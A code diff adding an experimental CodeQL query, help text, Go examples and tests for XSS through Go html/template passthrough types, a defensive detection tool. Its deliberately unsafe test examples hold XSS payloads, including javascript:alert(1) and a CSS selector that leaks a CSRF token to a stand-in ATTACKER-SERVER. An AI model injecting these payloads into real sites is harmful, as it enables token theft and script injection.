diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp new file mode 100755 index 00000000000..57c04ca9121 --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp @@ -0,0 +1,28 @@ + + + +

+ In Go, the html/template package has a few special types + (HTML, HTMLAttr, JS, JSStr, CSS, + Srcset, URL) + that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go + through. +

+

Using them on user-provided values will result in an XSS.

+
+ +

+ Make sure to never use those types on untrusted content. +

+
+ +

+ In the first example you can see the special types and how they are used in a template: +

+ +

+ To avoid XSS, all user input should be a normal string type. +

+ +
+
\ No newline at end of file diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql new file mode 100755 index 00000000000..e81d3a95857 --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -0,0 +1,108 @@ +/** + * @name HTML template escaping passthrough + * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML + * template, it may result in XSS. + * @kind path-problem + * @problem.severity warning + * @id go/html-template-escaping-passthrough + * @tags security + * external/cwe/cwe-79 + */ + +import go +import DataFlow::PathGraph + +private class DummySource extends UntrustedFlowSource::Range { + DummySource() { + exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") | + call = fn.getACall() and + this = call.getResult() + ) + } +} + +/** + * Holds if the provided src node flows into a conversion to a PassthroughType. + */ +predicate isConvertedToPassthroughType( + DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink +) { + exists(ConversionFlowToPassthroughTypeConf cfg, DataFlow::PathNode source | + cfg.hasFlowPath(source, conversionSink) and + source.getNode() = src and + targetType = cfg.getDstTypeName() + ) +} + +/** + * Gets the names of the types that will not be escaped when passed to + * a `html/template` template. + */ +string getAPassthroughTypeName() { + result = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] +} + +/** + * A taint-tracking configuration for reasoning about when an UntrustedFlowSource + * is converted into a special type which will not be escaped by the template generator; + * this allows the injection of arbitrary content (html, css, js) into the generated + * output of the templates. + */ +class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration { + string dstTypeName; + + ConversionFlowToPassthroughTypeConf() { + dstTypeName = getAPassthroughTypeName() and + this = "UnsafeConversion" + dstTypeName + } + + string getDstTypeName() { result = dstTypeName } + + override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } + + predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) { + exists(Type typ | + typ = sink.getResultType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) and + name = getAPassthroughTypeName() + ) + } + + override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) } +} + +/** + * Holds if the the sink is a data value argument of a template execution call. + */ +predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { + exists(Method fn, string methodName | + fn.hasQualifiedName("html/template", "Template", methodName) and + call = fn.getACall() + | + methodName = "Execute" and sink = call.getArgument(1) + or + methodName = "ExecuteTemplate" and sink = call.getArgument(2) + ) +} + +/** + * A taint-tracking configuration for reasoning about when an UntrustedFlowSource + * flows into a template executor call. + */ +class TemplateExecutionFlowConf extends TaintTracking::Configuration { + TemplateExecutionFlowConf() { this = "TemplateExecutionFlowConf" } + + override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } + + override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } +} + +from + TemplateExecutionFlowConf cfg, DataFlow::PathNode source, DataFlow::PathNode sink, + string targetTypeName, DataFlow::PathNode conversionSink +where + cfg.hasFlowPath(source, sink) and + isConvertedToPassthroughType(source.getNode(), targetTypeName, conversionSink) +select sink.getNode(), source, sink, + "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, + source.getNode(), "untrusted source", conversionSink.getNode(), "converted" diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go new file mode 100755 index 00000000000..a23dfa153de --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go @@ -0,0 +1,70 @@ +package main + +import ( + "html/template" + "os" +) + +func main() {} +func source(s string) string { + return s +} + +type HTMLAlias = template.HTML + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +// bad is an example of a bad implementation +func bad() { + tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) + tmplTag, _ := template.New("test").Parse(`Hi \n`) + tmplScript, _ := template.New("test").Parse(``) + tmplSrcset, _ := template.New("test").Parse(``) + + { + { + var a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + { + var a template.HTML + a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + var a HTMLAlias + a = HTMLAlias(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + } + } + { + var c = template.HTMLAttr(source(`href="https://example.com"`)) + checkError(tmplTag.Execute(os.Stdout, c)) + } + { + var d = template.JS(source("alert({hello: 'world'})")) + checkError(tmplScript.Execute(os.Stdout, d)) + } + { + var e = template.JSStr(source("setTimeout('alert()')")) + checkError(tmplScript.Execute(os.Stdout, e)) + } + { + var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) + checkError(tmpl.Execute(os.Stdout, b)) + } + { + var f = template.Srcset(source(`evil.jpg 320w`)) + checkError(tmplSrcset.Execute(os.Stdout, f)) + } + { + var g = template.URL(source("javascript:alert(1)")) + checkError(tmpl.Execute(os.Stdout, g)) + } +} diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go new file mode 100755 index 00000000000..5af85e824aa --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go @@ -0,0 +1,15 @@ +package main + +import ( + "html/template" + "os" +) + +// good is an example of a good implementation +func good() { + tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) + { // This will be escaped: + var caught = source(`link`) + checkError(tmpl.Execute(os.Stdout, caught)) + } +} diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected new file mode 100644 index 00000000000..c5be772eb49 --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -0,0 +1,87 @@ +edges +| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | +| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | +| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | +| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | +| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | +| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | +| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | +| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | +| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | +| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | +| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | +| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | +| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | +| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | +| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | +| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | +| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | +| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | +| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | +nodes +| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | semmle.label | caught | +#select +| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | converted | diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go new file mode 100755 index 00000000000..3ae62c166ea --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go @@ -0,0 +1,78 @@ +package main + +import ( + "html/template" + "os" +) + +func main() {} +func source(s string) string { + return s +} +func checkError(err error) { + if err != nil { + panic(err) + } +} + +type HTMLAlias = template.HTML + +// bad is an example of a bad implementation +func bad() { + tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) + tmplTag, _ := template.New("test").Parse(`Hi \n`) + tmplScript, _ := template.New("test").Parse(``) + tmplSrcset, _ := template.New("test").Parse(``) + + { + { + var a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + { + var a template.HTML + a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + var a HTMLAlias + a = HTMLAlias(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + } + } + { + var c = template.HTMLAttr(source(`href="https://example.com"`)) + checkError(tmplTag.Execute(os.Stdout, c)) + } + { + var d = template.JS(source("alert({hello: 'world'})")) + checkError(tmplScript.Execute(os.Stdout, d)) + } + { + var e = template.JSStr(source("setTimeout('alert()')")) + checkError(tmplScript.Execute(os.Stdout, e)) + } + { + var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) + checkError(tmpl.Execute(os.Stdout, b)) + } + { + var f = template.Srcset(source(`evil.jpg 320w`)) + checkError(tmplSrcset.Execute(os.Stdout, f)) + } + { + var g = template.URL(source("javascript:alert(1)")) + checkError(tmpl.Execute(os.Stdout, g)) + } +} + +// good is an example of a good implementation +func good() { + tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) + { // This will be escaped: + var caught = source(`link`) + checkError(tmpl.Execute(os.Stdout, caught)) + } +} diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref new file mode 100755 index 00000000000..2c92896e3ee --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref @@ -0,0 +1 @@ +experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql